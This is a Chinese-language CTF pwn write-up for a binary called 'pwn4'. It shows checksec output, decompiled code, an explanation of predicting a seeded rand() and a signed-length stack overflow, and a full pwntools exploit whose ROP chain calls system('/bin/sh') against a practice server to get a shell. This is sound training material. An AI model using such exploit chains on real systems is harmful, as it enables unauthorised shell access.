checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
File
pwn4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1133aeb41afd0e7b11659d5a27e062c4b34b1474, not stripped
Analyse
-
run thr program
-
function-main
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-38h] BYREF
char buf[36]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed; // [rsp+34h] [rbp-Ch]
int i; // [rsp+38h] [rbp-8h]
int v8; // [rsp+3Ch] [rbp-4h]
init(argc, argv, envp);
puts("go");
seed = 10;
read(0, buf, 0x30uLL);
srand(seed);
v8 = 0;
for ( i = 0; i <= 3; ++i )
{
puts("message:");
__isoc99_scanf("%ld", buf);
if ( (char *)rand() != buf )
++v8;
}
if ( v8 == 4 )
__isoc99_scanf("%ld", &v4);
return vul((unsigned int)v4);
}
function-vul
int __fastcall vul(int a1)
{
int result; // eax
char nbytes[52]; // [rsp+Ch] [rbp-34h] BYREF
result = system("date");
if ( a1 <= 47 )
{
read(0, &nbytes[4], (unsigned int)a1);
return (unsigned int)strncpy(buf, &nbytes[4], 0x200uLL);
}
return result;
}
seed为10,rand()生成随机数,for循环接收4次用户输入,赋给buf;这里需要让buf等于每次生成的随机数,我们使用ctypes
来实现,这样变量v8每次循环就会++,当v8为4时,我们可以输入v4来作为vul函数的参数。vul函数有个栈溢出的漏洞,先读取v4的内容到&nbytes[4]上,再用strncpy将&nbytes[4]的内容复制0x200到buf,在BSS段上。我们可以将/bin/sh
写到BSS段上后,用system来进行调用,从而getshell
完整exp
from pwn import *
# import random 这里用ctype
import ctypes
context(os = 'linux' , arch = "amd64" , log_level = "debug")
local = int(input("0 for remote , 1 for local:\t"))
elf_path = "/mnt/c/Users/M1sceden4/Desktop/eyfor/tempdir/PWN附件/附件/附件/pwn4"
libc_func = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(elf_path)
host = "node4.buuoj.cn"
port = 29009
if local == 0:
io = remote(host , port)
elif local == 1:
io = process(elf_path)
pop_rdi = 0x0000000000400983
ret = 0x000000000040063e
system_plt = elf.plt['system']
io.sendlineafter("go\n" , b"m1nus")
# random.seed(10)
# rand = random.random()
libc_func.srand(10)
for i in range(4):
io.sendlineafter("message:\n", str(libc_func.rand()).encode())
payload = b'/bin/sh\x00' + b'a' * 0x30 + p64(ret) + p64(pop_rdi) + p64(0x6010C0) + p64(system_plt)
io.sendline(b'-1')
io.sendline(payload)
# gdb.attach(io)
io.interactive()